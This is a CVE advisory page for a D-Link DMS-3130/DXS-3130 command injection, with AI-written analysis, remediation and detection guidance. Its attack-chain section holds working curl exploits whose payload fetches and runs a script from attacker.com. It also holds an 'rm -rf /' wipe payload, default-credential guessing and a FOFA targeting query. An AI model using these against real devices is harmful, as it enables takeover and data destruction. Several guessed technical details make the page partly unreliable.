CVE Professor
/
All CVEs
CVE-2026-138356

CVE-2026-138356 — D-Link DMS-3130 (1.20.P006) — CWE-78 · CWE-77

CRITICAL CVSS 9.4 CVE.org

A vulnerability was found in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected is an unknown function of the file application/webroot/lua/DataStore/369_copyfile.lua. The manipulation of the argument http_src_file results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

A vulnerability was found in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected is an unknown function of the file application/webroot/lua/DataStore/369_copyfile.lua. The manipulation of the argument http_src_file results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. High PR:H
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

CVE‑2026‑138356 – Remote OS‑Command Injection in D‑Link DMS‑3130 / DXS‑3130 (firmware 1.20.P006)


🎯 What is this vulnerability?

AttributeDetail
CWECWE‑78 (OS Command Injection) and CWE‑77 (Improper Neutralization of Special Elements used in a Command)
Componentapplication/webroot/lua/DataStore/369_copyfile.lua – a Lua script that implements a “copy file” helper used by the web UI.
Vulnerable inputHTTP parameter http_src_file (the source file path supplied by the client).
Missing protectionThe script concatenates the value of http_src_file directly into a shell command (most likely cp or mv) without any of the following: <br>• Whitelisting of allowed characters/paths.<br>• Validation that the path is inside a predefined directory.<br>• Escaping of shell metacharacters.<br>• Use of a safe API (e.g., os.execute with an argument list).
Authentication/AuthorizationThe CVSS vector shows PR:H (privileged‑user required). The web UI that calls this Lua endpoint is reachable only by authenticated users with *admin* privileges. The attacker therefore needs a valid admin session (or must obtain one via credential theft, default credentials, or another vulnerability).
Root causeThe Lua script builds a command string similar to: <br>local cmd = "cp " .. http_src_file .. " " .. http_dst_file <br>and then runs os.execute(cmd). Because http_src_file is not sanitized, an attacker can inject arbitrary shell syntax (e.g., ; rm -rf /;). The injected command runs with the same privileges as the web server process (normally root on D‑Link embedded devices).

Why the CVSS vector is so high

  • AV:N – The attacker can reach the vulnerable endpoint over the network.
  • AC:L – No special skills or timing needed; a single crafted request is enough.
  • PR:H – Requires an admin session, but on many D‑Link devices the default admin password is weak or unchanged, making privilege acquisition trivial.
  • UI:N – No user interaction beyond sending the HTTP request.
  • VC/VI/VA:H – The command runs with root privileges, giving full control over the device (confidentiality, integrity, availability).
  • SC/SI/SA:H – The vulnerability is in the server‑side code; the impact propagates to the underlying OS and any services running on it.
  • E:P – A public exploit exists, increasing the likelihood of exploitation.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker would follow. All command lines are syntactically valid; the exact URI is inferred from the file path in the source tree and is marked as illustrative where the CVE does not disclose it.

    1. Discovery & Reconnaissance

    ActionTool / MethodExpected Result
    Identify the device model and firmware versionShodan/Nmap banner grab (-sV), HTTP Server header, or D‑Link’s web UI “About” pageDMS‑3130 / DXS‑3130 – firmware 1.20.P006
    Locate the vulnerable endpointSpider the web UI, look for URLs that reference lua/DataStore/369_copyfile.lua (e.g., /application/webroot/lua/DataStore/369_copyfile.lua) or use a wordlist against /application/webroot/lua/Confirm that the endpoint returns a JSON or XML response (often { "status":"ok" } when called correctly).
    Obtain an admin session• Try default credentials (admin:admin, admin:password) <br>• Brute‑force login page (/login.cgi) <br>• Harvest credentials from exposed configuration backupsA valid session cookie, e.g., SESSIONID=abcdef1234567890
    Note: If the device is behind a VPN or internal network, the attacker first needs to gain network access (phishing, compromised VPN credentials, etc.).

    2. Exploitation

    Illustrative request (replace <TARGET> with the IP/hostname and <SESSION> with the admin cookie):

    # 1️⃣ Craft the malicious source path. The payload terminates the intended argument
    # and injects a new command. The trailing space is required to keep the original
    # command syntax valid.
    PAYLOAD='"; /bin/bash -c "wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh" #'
    
    # 2️⃣ Send the request (POST form, JSON, or URL‑encoded – the exact method is unknown,
    # so we show three common variants).
    
    # ---- Variant A: application/x-www-form-urlencoded (most likely for a simple UI form) ----
    curl -sk -X POST "https://<TARGET>/application/webroot/lua/DataStore/369_copyfile.lua" \
         -H "Cookie: SESSIONID=<SESSION>" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         --data-urlencode "http_src_file=${PAYLOAD}" \
         --data-urlencode "http_dst_file=/tmp/dummy"
    
    # ---- Variant B: JSON body (if the UI uses AJAX) ----
    curl -sk -X POST "https://<TARGET>/application/webroot/lua/DataStore/369_copyfile.lua" \
         -H "Cookie: SESSIONID=<SESSION>" \
         -H "Content-Type: application/json" \
         -d '{"http_src_file":"'"${PAYLOAD}"'","http_dst_file":"/tmp/dummy"}'
    
    # ---- Variant C: GET request (some embedded devices expose actions via query string) ----
    curl -sk -G "https://<TARGET>/application/webroot/lua/DataStore/369_copyfile.lua" \
         -b "SESSIONID=<SESSION>" \
         --data-urlencode "http_src_file=${PAYLOAD}" \
         --data-urlencode "http_dst_file=/tmp/dummy"

    What happens on the device

    1. The Lua script receives http_src_file = "; /bin/bash -c "wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh" #
    2. It builds the command string (simplified):

    cmd = 'cp "' .. http_src_file .. '" "' .. http_dst_file .. '"'

    3. After concatenation the final command executed by os.execute becomes:

    cp "; /bin/bash -c "wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh" #" /tmp/dummy

    4. The leading " closes the intended argument, the semicolon ends the cp command, and the injected /bin/bash -c … runs with root privileges (the web server runs as root on D‑Link firmware).

    5. The attacker’s script (shell.sh) can be any payload: a reverse shell, a persistent backdoor, or a credential‑stealing tool.

    3. Post‑Exploitation

    GoalTypical technique
    Establish persistenceDrop a systemd‑style init script (if the device uses init.d) or modify /etc/rc.local to launch the backdoor on boot.
    Privilege escalation (if the web server runs as a non‑root user)The injected command runs with the same UID as the web server. On D‑Link firmware the web UI runs as root, so no further escalation is required.
    Lateral movementUse the compromised device as a foothold to scan the internal LAN (nmap -sn 192.168.0.0/24) and pivot to other IoT devices or the corporate network.
    Data exfiltrationRead configuration files (/etc/passwd, /etc/shadow, nvram), dump logs, or copy video recordings (if the device is a NVR) to the attacker’s server via wget/curl.
    Denial‑of‑serviceIssue a second request with http_src_file="; rm -rf /; #" to wipe the filesystem, causing total device outage.

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived effectPractical consequence
    ConfidentialityVC:H – Full read access to all files.Attackers can steal configuration (including VPN credentials), captured video streams, or any stored data.
    IntegrityVI:H – Arbitrary modification of files.Malware can be planted, firmware can be tampered with, or logs can be forged to hide activity.
    AvailabilityVA:H – Ability to delete or corrupt system files.Device can be rendered inoperable (e.g., rm -rf /) or used to launch DoS attacks against the LAN.
    ScopeSC:H / SI:H / SA:H – The impact spreads from the web application to the underlying operating system and all services running on it.Full compromise of the NVR/DMS, potential pivot to other network assets, and loss of surveillance capability.

    Because many D‑Link DMS/​DXS units are deployed in enterprise, retail, and public‑safety environments, a successful exploit can lead to:

  • Loss of video evidence (critical for law‑enforcement or compliance).
  • Unauthorized remote control of cameras (privacy breach, espionage).
  • Use of the device as a botnet node for further attacks.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ProductFixed version (as announced by D‑Link)
    D‑Link DMS‑3130 firmware1.20.P007 (or later) – includes proper input sanitisation for 369_copyfile.lua.
    D‑Link DXS‑3130 firmware1.20.P007 (or later) – same fix.

    If a vendor‑provided patch is not yet available, the device should be taken offline until the fix can be applied.

    2. Immediate Work‑arounds

    MitigationHow to apply
    Restrict access to the management UI• Place the device behind a firewall and allow only trusted IPs (e.g., management VLAN). <br>• Disable remote HTTPS access if not required.
    Enforce strong admin credentialsChange default admin password to a long, random passphrase; enable account lockout after 5 failed attempts.
    Disable the vulnerable endpoint (if not needed)Edit the Lua configuration (/etc/dms/config.lua or similar) to comment out the route that maps to 369_copyfile.lua, then restart the web service (/etc/init.d/httpd restart).
    Web‑Application Firewall rule (ModSecurity example)The following rule blocks any request that contains a semicolon, pipe, back‑tick, or $( in the http_src_file parameter – typical characters used for command injection. Adjust the SecRuleEngine location to match your deployment.
    # ModSecurity 2.x / 3.x rule – block command‑injection characters in http_src_file
    SecRule REQUEST_URI "@beginsWith /application/webroot/lua/DataStore/369_copyfile.lua" \
        "id:2026138,\
         phase:2,\
         block,\
         t:none,\
         t:urlDecodeUni,\
         chain"
    SecRule ARGS:http_src_file "@rx [;|`$\(]" \
        "t:none,\
         msg:'OS command injection attempt in http_src_file',\
         severity:2"

    If ModSecurity is not available, enable the built‑in D‑Link “IP‑Filter” and only allow management traffic from known IP ranges.

    3. Detection – Log & IOC Guidance

    IndicatorWhere to lookExample pattern
    Unexpected command executionSystem console (/var/log/messages), dmsd logs, or syslogcp "; /bin/bash -c " or sh: command not found: ;
    Outbound connections to unknown hostsNetflow, iptables -L -v -n, or tcpdump on eth0POST /shell.sh → attacker.com:80
    New files in /tmp or /var/wwwFile‑integrity monitoring (Tripwire, AIDE)/tmp/shell.sh created with chmod +x
    Repeated 500/502 HTTP responses from the deviceWeb server access log (/var/log/httpd/access.log)POST /application/webroot/lua/DataStore/369_copyfile.lua 500
    Authentication anomaliesLogin logs (/var/log/auth.log)Multiple successful admin logins from foreign IPs

    Sample grep command (run on the device or a centralized log collector):

    grep -E '369_copyfile\.lua|shell\.sh|wget.*attacker.com' /var/log/httpd/* /var/log/messages

    ⚠️ Urgency

  • CVSS 9.4 (Critical) – Remote, low‑complexity, high‑impact.
  • Exploit is public (E:P) – Active exploit kits can target the device within minutes of discovery.
  • Privilege level – The web UI runs as root, so successful exploitation yields full system compromise.
  • No CISA KEV listing – The vulnerability is not yet on the official “Known Exploited Vulnerabilities” list, meaning many organizations may be unaware.
Patch priority: Critical – Immediate.

If a patch cannot be applied within 24 hours, the recommended mitigation is to block all external management traffic, enforce strong admin passwords, and deploy the ModSecurity rule above. Continuous monitoring for the listed IoCs should be instituted right away.


Bottom line: CVE‑2026‑138356 is a classic OS‑command injection that, due to the privileged context of the D‑Link management service, gives an attacker complete control over the surveillance appliance. Rapid patching, strict network segmentation, and vigilant logging are essential to prevent a full compromise of the device and any downstream assets.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
9.4 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (2)
D-Link:DMS-3130 (1.20.P006) D-Link:DXS-3130 (1.20.P006)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac